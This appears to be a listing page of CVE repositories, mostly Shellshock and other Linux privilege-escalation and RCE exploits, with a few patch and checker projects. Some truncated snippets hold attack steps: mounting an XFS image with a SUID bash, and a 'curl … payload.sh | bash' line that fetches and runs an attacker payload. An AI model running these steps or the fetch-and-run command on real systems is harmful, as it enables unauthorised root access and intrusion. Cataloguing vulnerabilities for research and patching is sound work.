CVE-2014-6271-SHELLSHOCK

CVE-2014-6271-SHELLSHOCK 🐚 Скрипт эксплуатации Shellshock 🎯💻🔍 Этот Python-скрипт эксплуатирует уязвимость Shellshock CVE-2014-6271 для удаленного выполнения команд или установки обратной оболочки на уязвимой цели. 🛠️⚠️ ⚠ Отказ от ответственности 🚨❗ Этот скрипт предназначен только для...

CVE-2025-6018-CVE-2025-6019-Privilege-Escalation-Exploit

CVE-2025-6018 + CVE-2025-6019 Privilege Escalation Guide 中文 📋 Quick Exploitation Steps Step 1: Prepare XFS Image Local Machine Create 300MB XFS image dd if=/dev/zero of=xfs.image bs=1M count=300 mkfs.xfs -f xfs.image Mount and install SUID bash mkdir mnt sudo mount -t xfs xfs.image mnt sudo cp...

Shell-Shock

Shell Shock Authors : [email protected] Maintainers : Department : DevOps Licenses : Overview Shell Shock : Privelege Escalation, Remote Code Execution Family of bugs in the Unix Bash Shell. Allow execution of arbitrary commands. Exploitation Vectors Payloads shellshock user agent =...

PT-2026-106219

Name of the Vulnerable Software and Affected Versions Chainguard Academy edu integrate-platform-docs composite GitHub Action versions from commit 7375a80caabcc31c33ec90f29687ed78c13d16ff through commit fb0efb2537d326ab18c07d620875b8ed2a4b39f3 Description Improper neutralization of special element...

PT-2026-106235

Name of the Vulnerable Software and Affected Versions Langflow versions prior to 1.9.0 Description Authenticated users can achieve Remote Code Execution RCE on the server by adding a Model Context Protocol MCP server using the "Stdio" transport. The command field is passed directly to bash -c "ex...

bash-cve-2014-6271-fixes

CVE-2014-6271 patches for bash The original mailing list post only lets you fetch the patches over unauthenticated HTTP. Sigh I've downloaded these over HTTP and put them into a git repository that you can fetch over HTTPS and check independently. I have not checked whether these files are...

Sudo-CVE-2019-14287

Sudo-CVE-2019-14287 Scripts to verify and execute CVE-2019-14287 as part of Research The scripts are written in Python3 as well as bash as these are the two most common interpreters that can be found in evey modern Linux Operating System. The scripts can be integrated into enumeration Scanner lik...

CVE-2022-37706

Description Taken from https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2022-37706. Worked on: Distributor ID: Ubuntu Description: Ubuntu 20.04.6 LTS Release: 20.04 Codename: focal USAGE 1. Copy/Upload the exploit to the vulnerable machine. 2. Issue the command bash ./exploit.sh...

CVE-2014-6271

🚨 CVE-2014-6271 — “Shellshock” 25-Year Zero-Day Remote Code Execution in GNU Bash via Environment Variables 📖 Overview CVE-2014-6271 , nicknamed Shellshock also known as Bashdoor, is a critical remote code execution RCE vulnerability in the GNU Bash shell. An attacker can send specially crafted...

CVE-2014-6271-Shellshock

CVE-2014-6271 Shellshock xpl0ited by infrar3d This repository contains a proof‑of‑concept exploit for CVE-2014-6271 Shellshock. Shellshock is a critical vulnerability in GNU Bash where specially crafted environment variables allow arbitrary command execution. When a web server passes HTTP headers...

bash-cve-2014-7169-cookbook

bash-cve-2014-7169-cookbook Ensures bash 'shellshock' vulnerability is patched. Based on blog post written by Julian Dunn @ Chef https://www.chef.io/blog/2014/09/30/detecting-repairing-shellshock-with-chef/...

ssh_Enum_vaild

sshEnumvaild A Bash script to enumerate valid SSH usernames using the CVE-2018-15473 vulnerability. It checks for valid usernames on an OpenSSH server by analyzing authentication responses. Features ✅ Detects valid SSH usernames based on OpenSSH response behavior ✅ Uses a public key authenticatio...

docker-cve-2021-41773

CVE-2021-41773 A Demonstration to show the CVE-2021-41773 vulnerability on a docker container. Usage Server run build.shruns docker build ./scripts/build.sh NOTE: No need to do it more than once run deploy.sh creates a docker container with the image from build.sh ./scripts/deploy.sh to close the...

CVE-2024-24919

CVE-2024-24919 Checker A simple bash script to check for the vulnerability CVE-2024-24919. Installation Clone the repository: git clone https://github.com/am-eid/CVE-2024-24919.git cd CVE-2024-24919 chmod +x CVE-2024-24919 Usage ./CVE-2024-24919 -l ips.txt...

Mass-CVE-2021-3129-Scanner

Mass Scanner for CVE-2021-3129 Laravel Debug RCE Usage $ bash massCVE-2021-3129scan.sh list.txt...

CVE-2025-9074

Описание Vibe написал небольшой скрипт эксплуатации на чистом Bash без зависимостей от инструментов, которые могут быть не установлены. Скрипт взаимодействует с внутренним Docker API, создаёт и запускает новый контейнер, монтирует диск C хоста, а затем выполняет внутри него команду. Вывод...

Gombruc

Gombruc privilege escalation for linux all versions This vulnerability is related to CVE-2025-0401, which affects all Linux systems. With the help of this bash script, you can give your user any level of access, up to and including Root access. Warning: This exploit is for educational purposes on...

CVE-2020-5902

CVE-2020-5902 Exploit for CVE-2020-5902 POC bash version...

patch_CVE-2023-22809

patchCVE-2023-22809 Bash Script: sudo Installation This Bash script automates the installation of the latest version of sudo on your system. Prerequisites Linux-based operating system wget package installed can be installed using the package manager Usage 1. Clone or download this repository to...

CVE-2024-32019-poc

CVE-2024-32019-poc Netdata ndsudo PoC Build the binary: go build -ldflags "-s -w" -o nvme poc.go upx nvme Run the bash script: bash exploit.sh In target machine run in a writable directory: curl http://:8000/payload.sh | bash It will automatically download the nvme binary, export the path, run...